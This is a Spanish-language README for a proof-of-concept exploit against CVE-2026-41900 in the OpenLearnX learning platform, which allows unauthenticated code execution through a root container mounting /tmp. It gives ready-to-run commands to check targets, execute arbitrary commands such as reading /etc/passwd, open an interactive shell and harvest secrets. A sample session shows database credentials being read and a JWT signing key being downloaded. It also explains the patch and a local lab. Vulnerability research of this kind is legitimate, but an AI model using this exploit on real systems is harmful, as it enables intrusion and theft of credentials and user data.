Prueba de concepto del exploit para CVE-2026-41900, una ejecución remota de código no autenticada en OpenLearnX mediante el montaje de volúmenes de contenedor, que permite la divulgación de /tmp y la ejecución de comandos.
| Propiedad | Valor |
|---|
| Nombre | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Tipo | Divulgación de información no autenticada / RCE |
| Afectado | OpenLearnX < commit 14765d7 |
| Corregido | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (Alto) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (mi pipeline automatizado de inteligencia de parches) marcó un aviso silencioso en OpenLearnX — GHSA-8h25-q488-4hxw publicado sin ningún detalle técnico. Extraje el commit de corrección (14765d7) y lo comparé con su padre (d19c4e4).
El diff contó toda la historia: execute_in_container() en backend/routes/coding.py fue desmantelado y reemplazado por un real_compiler_service endurecido. El código antiguo escribía el código proporcionado por el usuario en un archivo temporal y luego montaba os.path.dirname(temp_file) — que se resuelve a /tmp — en un contenedor Docker hermano como volumen de solo lectura. Sin user=, sin cap_drop, sin security_opt. Root por defecto.
El detalle clave: el blueprint compiler en /api/compiler/execute no tiene decorador de autenticación. Cualquier solicitud no autenticada puede desencadenar la ejecución de código a través de la configuración vulnerable del contenedor.
Aislé el código previo al parche en un laboratorio local, confirmé todos los vectores y escribí este PoC.
POST /api/compiler/execute (sin autenticación)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ se resuelve a /tmp → TODO /tmp montado en el contenedor
│
├─ Sin user= → se ejecuta como root (UID 0)
├─ Sin cap_drop → capacidades Docker por defecto
├─ Sin security_opt → perfil seccomp por defecto
│
└─ El atacante lee: secretos, credenciales, claves JWT, envíos de otros usuarios
| Gadget | Severidad | CWE | Descripción |
|---|---|---|---|
listing | ALTO | CWE-538 | Listado de directorios de /tmp mediante montaje de volumen |
secrets | CRÍTICO | CWE-538 | Leer credenciales, claves, configuraciones de /tmp |
submissions | ALTO | CWE-538 | Leer envíos de código de otros estudiantes |
rootcheck | MEDIO | CWE-250 | Confirmar ejecución como UID 0 (root) |
caps | MEDIO | CWE-250 | Volcar capacidades Linux efectivas |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Sin dependencias — solo stdlib
chmod +x exploit.py
# Comprobar si un objetivo es vulnerable
python3 exploit.py --check http://target:5000
# Ejecutar todos los gadgets + generar JSON de evidencia
python3 exploit.py --exploit http://target:5000
# Ejecutar un solo comando
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Entrar en shell interactivo
python3 exploit.py --shell http://target:5000
# Ejecutar gadgets específicos
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Una vez dentro de --shell, obtienes un shell pseudo-interactivo. Cada comando genera un nuevo contenedor efímero.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Descargado jwt_signing_key.pem (235B)
root@container:/app# exit
Para reproducir localmente:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
El laboratorio despliega una aplicación Flask contenerizada que reproduce el execute_in_container() previo al parche con:
/tmp compartido entre el host y el contenedor de la aplicaciónEl commit 14765d7 reemplazó execute_in_container() con real_compiler_service que aplica:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # tmpdir aislado por ejecución
cap_drop=["ALL"], # eliminar todas las capacidades
security_opt=["no-new-privileges:true"], # prevenir escalada de privilegios
user="65534:65534", # nobody, no root
...
)
| Fecha | Evento |
|---|---|
| 2026-04 | OSDC marca el aviso silencioso GHSA-8h25-q488-4hxw |
| 2026-04 | Análisis de diff del commit 14765d7 vs padre d19c4e4 |
| 2026-05 | Reproducción en laboratorio y desarrollo del PoC |
| 2026-05-06 | PoC completo confirmado — los 5 vectores validados |
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que poseas o para los que tengas permiso escrito explícito. El acceso no autorizado a sistemas informáticos es ilegal.
Christbowel · christbowel.com · Balgo Security Team